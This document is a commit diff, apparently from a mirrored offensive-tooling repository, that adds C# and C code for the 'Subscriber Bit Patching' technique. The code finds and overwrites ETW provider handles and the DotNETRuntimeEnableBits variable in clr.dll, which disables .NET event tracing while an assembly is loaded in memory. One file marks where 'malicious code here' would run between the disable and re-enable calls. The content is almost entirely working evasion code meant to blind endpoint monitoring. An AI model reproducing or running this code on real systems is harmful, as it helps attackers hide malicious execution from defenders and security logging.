mirror of
https://github.com/loland/inlineExecute
synced 2026-06-21 13:56:50 +00:00
Subscriber Bit Patching
some code snippets to perform the Subscriber Bit Patching technique. Not yet integrated into the BOF nor sufficiently tested.
This commit is contained in:
@@ -0,0 +1,160 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ProviderHandlePatch {
|
||||
internal class Program {
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
static bool isEtwFunction(IntPtr funcAddr, IntPtr etwEventWriteAddr) {
|
||||
int i = 0;
|
||||
while (true) {
|
||||
IntPtr currAddr = funcAddr + i;
|
||||
|
||||
int b = Marshal.ReadByte(currAddr);
|
||||
if (b == 0xc3) {
|
||||
break; // ret
|
||||
}
|
||||
|
||||
int next_b = Marshal.ReadByte(currAddr + 1);
|
||||
|
||||
//Console.WriteLine("addr: 0x" + (currAddr).ToString("X") + ", b: 0x" + b.ToString("X") + ", next_b: 0x" + next_b.ToString("X"));
|
||||
|
||||
if (b != 0xff || next_b != 0x15) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
int iatOffset = Marshal.ReadInt32(currAddr + 2);
|
||||
IntPtr rip = currAddr + 6;
|
||||
IntPtr iatAddr = rip + iatOffset;
|
||||
|
||||
//Console.WriteLine("rip: 0x" + rip.ToString("X"));
|
||||
//Console.WriteLine("IAT address: 0x" + iatAddr.ToString("X"));
|
||||
|
||||
if (etwEventWriteAddr == (IntPtr)Marshal.ReadInt64(iatAddr)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
i += 1;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static int getClrSize(IntPtr clrBase) {
|
||||
Console.WriteLine("CLR Base: " + clrBase.ToString("X"));
|
||||
int peOffset = Marshal.ReadInt32(clrBase + 0x3C);
|
||||
IntPtr optionalHeaderPtr = clrBase + peOffset + 0x18;
|
||||
int sizeOfImage = Marshal.ReadInt32(optionalHeaderPtr + 0x38);
|
||||
Console.WriteLine("CLR SizeOfImage: 0x" + sizeOfImage.ToString("X"));
|
||||
|
||||
return sizeOfImage;
|
||||
}
|
||||
|
||||
static IntPtr FindDotNETRuntimeHandle() {
|
||||
IntPtr clrBase = GetImageBase("clr.dll");
|
||||
int clrSize = getClrSize(clrBase);
|
||||
IntPtr clrEnd = clrBase + clrSize;
|
||||
|
||||
IntPtr ntdllBase = GetImageBase("ntdll.dll");
|
||||
IntPtr etwEventWriteAddr = GetProcAddress(ntdllBase, "EtwEventWrite");
|
||||
Console.WriteLine("ntdll!EtwEventWrite address: 0x" + etwEventWriteAddr.ToString("X"));
|
||||
|
||||
Dictionary<IntPtr, int> handleAddrCount = new Dictionary<IntPtr, int>();
|
||||
|
||||
String[] pattern = new string[] { "48", "8b", "0d", "??", "??", "??", "??", "e8" };
|
||||
|
||||
for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) {
|
||||
for (int i = 0; i < pattern.Length; i++) {
|
||||
if (pattern[i] == "??") {
|
||||
continue;
|
||||
}
|
||||
|
||||
int b = Marshal.ReadByte((IntPtr)addr + i);
|
||||
int target_b = Convert.ToInt32(pattern[i], 16);
|
||||
|
||||
if (b != target_b) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (i != pattern.Length - 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
int callOffset = Marshal.ReadInt32((IntPtr)addr + pattern.Length);
|
||||
IntPtr rip = (IntPtr)(addr + pattern.Length + 4);
|
||||
IntPtr callAddr = rip + callOffset;
|
||||
//Console.WriteLine("Signature found at: 0x" + addr.ToString("X"));
|
||||
//Console.WriteLine("Call to: 0x" + callAddr.ToString("X"));
|
||||
|
||||
if (!isEtwFunction(callAddr, etwEventWriteAddr)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
//Console.WriteLine("Found!");
|
||||
int handleOffset = Marshal.ReadInt32((IntPtr)addr + 3);
|
||||
IntPtr handleAddr = (IntPtr)addr + 7 + handleOffset;
|
||||
|
||||
Console.WriteLine("Handle: 0x" + handleAddr.ToString("X"));
|
||||
|
||||
if (handleAddrCount.ContainsKey(handleAddr)) {
|
||||
handleAddrCount[handleAddr]++;
|
||||
} else {
|
||||
handleAddrCount[handleAddr] = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
IntPtr topAddr = IntPtr.Zero;
|
||||
foreach (var item in handleAddrCount) {
|
||||
if (topAddr == IntPtr.Zero || item.Value > handleAddrCount[topAddr]) {
|
||||
topAddr = item.Key;
|
||||
}
|
||||
}
|
||||
|
||||
return topAddr;
|
||||
}
|
||||
|
||||
static void TurnOffETW(IntPtr DotNETRuntimeHandle_addr, out long DotNETRuntimeHandle_val) {
|
||||
DotNETRuntimeHandle_val = Marshal.ReadInt64(DotNETRuntimeHandle_addr);
|
||||
Marshal.WriteInt64(DotNETRuntimeHandle_addr, 1);
|
||||
Console.WriteLine("DotNETRuntimeHandle: 0x" + DotNETRuntimeHandle_val.ToString("X"));
|
||||
}
|
||||
|
||||
static void TurnOnETW(IntPtr DotNETRuntimeHandle_addr, long DotNETRuntimeHandle_val) {
|
||||
Marshal.WriteInt64(DotNETRuntimeHandle_addr, DotNETRuntimeHandle_val);
|
||||
}
|
||||
|
||||
static IntPtr GetImageBase(String dllName) {
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
|
||||
if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) {
|
||||
return module.BaseAddress;
|
||||
}
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
static void Main(string[] args) {
|
||||
IntPtr clrBase = GetImageBase("clr.dll");
|
||||
Console.WriteLine("clr.dll located at " + clrBase.ToString("X"));
|
||||
|
||||
IntPtr DotNETRuntimeHandle_addr = FindDotNETRuntimeHandle();
|
||||
Console.WriteLine("FindDotNETRuntimeHandle: 0x" + DotNETRuntimeHandle_addr.ToString("X"));
|
||||
|
||||
long DotNETRuntimeHandle_val = 0;
|
||||
TurnOffETW(DotNETRuntimeHandle_addr, out DotNETRuntimeHandle_val);
|
||||
|
||||
// filename is the .NET assembly executable on disk to load.
|
||||
String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe";
|
||||
Byte[] bytes = File.ReadAllBytes(filename);
|
||||
Assembly asm = Assembly.Load(bytes);
|
||||
Console.WriteLine(asm);
|
||||
|
||||
TurnOnETW(DotNETRuntimeHandle_addr, DotNETRuntimeHandle_val);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <windows.h>
|
||||
|
||||
int getImageSize(void* imageBase) {
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase;
|
||||
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew);
|
||||
int sizeOfImage = nt->OptionalHeader.SizeOfImage;
|
||||
return sizeOfImage;
|
||||
}
|
||||
|
||||
int* findDotNETRuntimeEnableBits(HMODULE clrBase) {
|
||||
int clrSize = getImageSize(clrBase);
|
||||
|
||||
// assuming a max of 20 global variables that match the pattern
|
||||
int MAX = 20;
|
||||
int* globalVars[20] = { 0 };
|
||||
int globalVarCounts[20] = { 0 };
|
||||
|
||||
for (int i = 0; i < clrSize; i++) {
|
||||
unsigned char* addr = (unsigned char*)clrBase + i;
|
||||
|
||||
// matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h"
|
||||
if (addr[0] != 0xf7 || addr[1] != 0x5) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*(DWORD*)(addr + 6) != 0x80000000) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// calculating global var address
|
||||
unsigned char* rip = addr + 10;
|
||||
int offset = *(DWORD*)(addr + 2);
|
||||
int* globalVarAddr = (int*)(rip + offset);
|
||||
|
||||
// storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits
|
||||
for (int i = 0; i < MAX; i ++) {
|
||||
if (globalVars[i] == 0) {
|
||||
globalVars[i] = globalVarAddr;
|
||||
globalVarCounts[i] = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (globalVars[i] == globalVarAddr) {
|
||||
globalVarCounts[i] += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// return the most frequent var that is Microsoft_Windows_DotNETRuntimeEnableBits
|
||||
int mostFreq = 0;
|
||||
for (int i = 1; i < MAX; i ++) {
|
||||
if (globalVarCounts[mostFreq] < globalVarCounts[i]) {
|
||||
mostFreq = i;
|
||||
}
|
||||
}
|
||||
|
||||
return globalVars[mostFreq];
|
||||
}
|
||||
|
||||
void turnOffEtw(int* DotNETRuntimeEnableBits_addr, int* DotNETRuntimeEnableBits_val) {
|
||||
*DotNETRuntimeEnableBits_val = *DotNETRuntimeEnableBits_addr;
|
||||
*DotNETRuntimeEnableBits_addr = 0;
|
||||
}
|
||||
|
||||
void turnOnEtw(int* DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) {
|
||||
*DotNETRuntimeEnableBits_addr = DotNETRuntimeEnableBits_val;
|
||||
}
|
||||
|
||||
int main() {
|
||||
HMODULE clrBase = LoadLibraryA("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll");
|
||||
int* DotNETRuntimeEnableBits_addr = findDotNETRuntimeEnableBits(clrBase);
|
||||
|
||||
// because the CLR isn't initialized, there will be no DotNETRuntimeEnableBits value.
|
||||
int DotNETRuntimeEnableBits_val = 0;
|
||||
turnOffEtw(DotNETRuntimeEnableBits_addr, &DotNETRuntimeEnableBits_val);
|
||||
// malicious code here
|
||||
turnOnEtw(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SubscriberBitPatch {
|
||||
internal class Program {
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
static int getClrSize(IntPtr clrBase) {
|
||||
Console.WriteLine("CLR Base: " + clrBase.ToString("X"));
|
||||
int peOffset = Marshal.ReadInt32(clrBase + 0x3C);
|
||||
IntPtr optionalHeaderPtr = clrBase + peOffset + 0x18;
|
||||
int sizeOfImage = Marshal.ReadInt32(optionalHeaderPtr + 0x38);
|
||||
Console.WriteLine("CLR SizeOfImage: 0x" + sizeOfImage.ToString("X"));
|
||||
|
||||
return sizeOfImage;
|
||||
}
|
||||
|
||||
static IntPtr GetImageBase(String dllName) {
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
|
||||
if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) {
|
||||
return module.BaseAddress;
|
||||
}
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
static IntPtr FindDotNETRuntimeEnableBits() {
|
||||
IntPtr clrBase = GetImageBase("clr.dll");
|
||||
|
||||
Console.WriteLine("clr.dll located at " + clrBase.ToString("X"));
|
||||
|
||||
int clrSize = getClrSize(clrBase);
|
||||
IntPtr clrEnd = clrBase + clrSize;
|
||||
|
||||
String[] pattern = new string[] { "f7", "05", "??", "??", "??", "??", "00", "00", "00", "80" };
|
||||
|
||||
Dictionary<IntPtr, int> globalVarCount = new Dictionary<IntPtr, int>();
|
||||
|
||||
for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) {
|
||||
for (int i = 0; i < pattern.Length; i++) {
|
||||
if (pattern[i] == "??") {
|
||||
continue;
|
||||
}
|
||||
|
||||
int b = Marshal.ReadByte((IntPtr)addr + i);
|
||||
int target_b = Convert.ToInt32(pattern[i], 16);
|
||||
|
||||
if (b != target_b) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (i != pattern.Length - 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
int globalVarOffset = Marshal.ReadInt32((IntPtr)addr + 2);
|
||||
IntPtr rip = (IntPtr)(addr + pattern.Length);
|
||||
IntPtr globalVarAddr = rip + globalVarOffset;
|
||||
|
||||
if (globalVarCount.ContainsKey(globalVarAddr)) {
|
||||
globalVarCount[globalVarAddr]++;
|
||||
} else {
|
||||
globalVarCount[globalVarAddr] = 1;
|
||||
}
|
||||
//Console.WriteLine("Signature found at: 0x" + addr.ToString("X"));
|
||||
}
|
||||
}
|
||||
|
||||
IntPtr topAddr = IntPtr.Zero;
|
||||
foreach (var item in globalVarCount) {
|
||||
if (topAddr == IntPtr.Zero || item.Value > globalVarCount[topAddr]) {
|
||||
topAddr = item.Key;
|
||||
}
|
||||
}
|
||||
|
||||
return topAddr;
|
||||
}
|
||||
|
||||
static void TurnOffETW(IntPtr DotNETRuntimeEnableBits_addr, out int DotNETRuntimeEnableBits_val) {
|
||||
DotNETRuntimeEnableBits_val = Marshal.ReadInt32(DotNETRuntimeEnableBits_addr);
|
||||
Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, 1);
|
||||
}
|
||||
|
||||
static void TurnOnETW(IntPtr DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) {
|
||||
Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val);
|
||||
}
|
||||
|
||||
static void Main(string[] args) {
|
||||
IntPtr DotNETRuntimeEnableBits_addr = FindDotNETRuntimeEnableBits();
|
||||
|
||||
int DotNETRuntimeEnableBits_val = 0;
|
||||
TurnOffETW(DotNETRuntimeEnableBits_addr, out DotNETRuntimeEnableBits_val);
|
||||
Console.WriteLine("DotNETRuntimeEnableBits_val: 0x" + DotNETRuntimeEnableBits_val.ToString("X"));
|
||||
|
||||
// filename is the .NET assembly executable on disk to load.
|
||||
String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe";
|
||||
Byte[] bytes = File.ReadAllBytes(filename);
|
||||
Assembly asm = Assembly.Load(bytes);
|
||||
Console.WriteLine(asm);
|
||||
|
||||
// because ETW is turned back on, upon termination of the process, an AssemblyUnload event for RegAsm is logged.
|
||||
TurnOnETW(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val);
|
||||
Console.WriteLine("Microsoft_Windows_DotNETRuntimeEnableBits_addr: 0x" + DotNETRuntimeEnableBits_addr.ToString("X"));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user